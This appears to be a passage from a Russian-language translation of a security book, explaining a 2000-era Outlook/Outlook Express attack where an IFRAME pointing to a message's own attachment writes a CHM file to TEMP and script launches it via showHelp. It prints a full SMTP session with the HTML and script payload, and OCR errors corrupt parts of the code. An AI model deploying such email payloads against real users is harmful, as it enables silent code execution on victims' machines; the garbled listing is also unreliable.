Уязвимость удаленных соединений



Запись вложения в каталог TEMP с помощью дескриптора I FRAME



Запись вложения в каталог TEMP с помощью дескриптора I FRAME


Данный метод, который в 2000 году был опубликован Георгием в девятом номере его информационного бюллетеня , продемонстрировал дальновидность его автора, которому удалось умело воспользоваться, казалось бы, незначительными проблемами. Предложенный подход основан на том, что программы Outlook и Outlook Express создают в каталоге TEMP файлы с известным именем и произвольным содержимым, что очень похоже на механизм, созданный на узле malware.com. Однако, использовав другие свои разработки, в число которых входит использование изъяна, позволяющего запускать ярлыки файлов справочной системы Windows , и дескрипторы IFRAME, Георгий разработал, по-видимому, непревзойденный непротиворечивый механизм доставки кода и его последующего запуска. Поэтому авторы присвоили этому методу степень риска, равную восьми, т.е. наивысшую среди рассматриваемых. Он гораздо ближе других алгоритмов подошел к тому, чтобы стать целостным пакетом, предоставляя возможность записи файла на диск и запуска этого файла без необходимости какого-либо вмешательства пользователя.
Фокус состоит в использовании в теле почтового сообщения дескриптора I FRAME, в котором содержится ссылка на вложение этого же сообщения. По какой-то причине, возможно, известной лишь Георгию, когда i FRAME "прикасается" к вложенному файлу, он сохраняется на диске. Затем этот файл легко вызвать из сценария, помешенного в тело этого же сообщения. В своей реализации Георгий записывает файл .СНМ, который элегантно сконфигурирован для запуска редактора Wordpad.exe с помощью команды "shortcut".
Ниже представлена капсула, демонстрирующая применение описанного подхода. Обратите внимание на то, что файл СНМ должен быть упакован с помощью утилиты mpack (см. раздел "Сто и один способ взлома электронной почты").

helo somedoir.ain.com
mail from: <mallory@attacker.net>
rcpt to: <hapless@victim.net>
data
subject: This one takes the cake!
Importance: high
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="_boundaryl_"
--_boundaryl_--
Content-Type: multipart/alternative,
boundsry="_boundary2_"
--_boundary2_--
Content-Type: text/html; charset=us-ascii
<IFRAME align=3Dbaseline alt=3D"" =
border=3DO hspace=3DO=20
src=3D"cid:5551212"></IFRAME>
<SCRIPT>
setTimeout('window.showHelp
("c:/windows/temp/abcde.chm");',1000);
setTimeout('window.showHelp
("c:/temp/abcde.chm");',1000};
setTimeout('window.showHelp
("C:/docume-l/admini~l/locals~l/temp/abcde.
chm"} ;
',1000} ; </SCRIPT>
--_boundary2 --
--_boundaryl_--
Content-Type: application/binary;
name="abcde.chm"
Content-ID: <5551212>
Content-Transfer-Encoding: base64
[Закодируйте файл abode.chm с
помощью утилиты mpack и вставьте его здесь]
—_boundaryl_—
quit

В процессе тестирования, выполненного авторами на программах Outlook и Outlook Express, установленных в системах Windows 9x, NT и 2000, этот метод работал безотказно, чаще всего в режиме предварительного просмотра. Строки, которые начинаются с setTimeout, задают каталог каждой из трех операционных систем. Сможете ли вы установить между ними соответствие?
Одним из ключевых элементов приведенного листинга является поле Content-ID. В нашем примере в этом поле введено число 5551212. Параметр scr дескриптора IFRAME, который содержится в теле сообщения, ссылается на идентификатор вложения этого сообщения, имеющего формат MIME. При этом возникает остроумно задуманная циклическая ссылка, позволяющая записать вложение на диск и обратиться к нему из одного и того же почтового сообщения.


Содержание Назад Вперед